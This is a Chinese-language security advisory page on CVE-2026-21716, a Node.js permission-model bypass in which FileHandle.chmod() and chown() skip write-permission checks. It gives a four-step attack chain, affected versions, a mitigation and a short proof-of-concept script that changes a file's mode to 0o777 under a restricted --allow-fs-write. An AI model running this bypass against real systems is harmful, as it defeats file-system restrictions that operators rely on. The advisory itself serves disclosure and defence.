IPBUF安全漏洞报告
English
CVE-2026-21716 CVSS 3.3 低危

CVE-2026-21716 Node.js 权限模型绕过漏洞

披露日期: 2026-03-30

漏洞信息

漏洞编号
CVE-2026-21716
漏洞类型
权限绕过
CVSS评分
3.3 低危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Node.js

相关标签

权限绕过Node.jsCVE-2026-21716文件系统安全

漏洞概述

CVE-2026-21716 是 Node.js 权限模型中的一个安全绕过漏洞。由于对 CVE-2024-36137 的修复不完整,Promise API 中的 `FileHandle.chmod()` 和 `FileHandle.chown()` 方法缺少必要的权限检查。攻击者可利用此漏洞,在使用受限 `--allow-fs-write` 权限时,通过已打开的文件描述符修改文件权限和所有权,从而绕过预期的写入限制。

技术细节

该漏洞源于 Node.js 权限模型在修复 CVE-2024-36137 时的逻辑缺陷。虽然基于回调的 `fs.fchmod()` 和 `fs.fchown()` 已正确实施了权限检查,但基于 Promise 的 `FileHandle.chmod()` 和 `FileHandle.chown()` 却遗漏了这些关键的安全校验。当 Node.js 进程使用 `--permission` 模式启动,并配置了受限的 `--allow-fs-write`(例如仅允许写入特定目录)时,攻击者可以利用此缺陷。攻击者首先在允许的范围内打开文件获取 `FileHandle` 对象,随后调用该对象的 `chmod` 或 `chown` 方法。由于系统未拦截这些操作,攻击者可以修改已打开文件的权限或所有者,进而可能导致敏感文件被篡改或权限提升,破坏了系统的完整性约束。

攻击链分析

STEP 1
环境准备
攻击者诱导受害者或自动化系统运行易受攻击的 Node.js 版本(20.x, 22.x, 24.x, 25.x),并启用了 `--permission` 模式及受限的 `--allow-fs-write` 参数。
STEP 2
获取文件句柄
恶意代码在允许写入的路径下打开一个文件,获取 `FileHandle` 对象。
STEP 3
执行绕过操作
代码调用 `FileHandle` 对象的 `chmod` 或 `chown` 方法。由于缺少权限检查,系统允许对已打开的文件描述符进行属性修改,尽管写权限受到限制。
STEP 4
达成破坏
成功修改目标文件的权限或所有者,可能破坏系统完整性或为进一步攻击铺路。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Run the script with restricted permissions: // node --experimental-permission --allow-fs-write=/tmp script.js import { open } from 'node:fs/promises'; async function triggerVulnerability() { try { // 1. Open a file within the allowed write directory to get a FileHandle const fileHandle = await open('/tmp/safe.txt', 'w'); console.log('[+] File opened successfully.'); // 2. Attempt to change file permissions using the vulnerable Promise API // In a patched version, this should be blocked by the Permission Model. // Due to CVE-2026-21716, this bypasses the --allow-fs-write restriction. await fileHandle.chmod(0o777); console.log('[+] Exploit successful: File permissions changed via chmod().'); // 3. Attempt to change file ownership (if permissions allow, conceptually vulnerable) // await fileHandle.chown(1000, 1000); await fileHandle.close(); } catch (error) { console.error('[-] Permission denied or error:', error.message); } } triggerVulnerability();

影响范围

Node.js 20.x
Node.js 22.x
Node.js 24.x
Node.js 25.x

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用 `--permission` 模式,或严格限制运行 Node.js 进程的系统用户权限,防止非受信代码执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表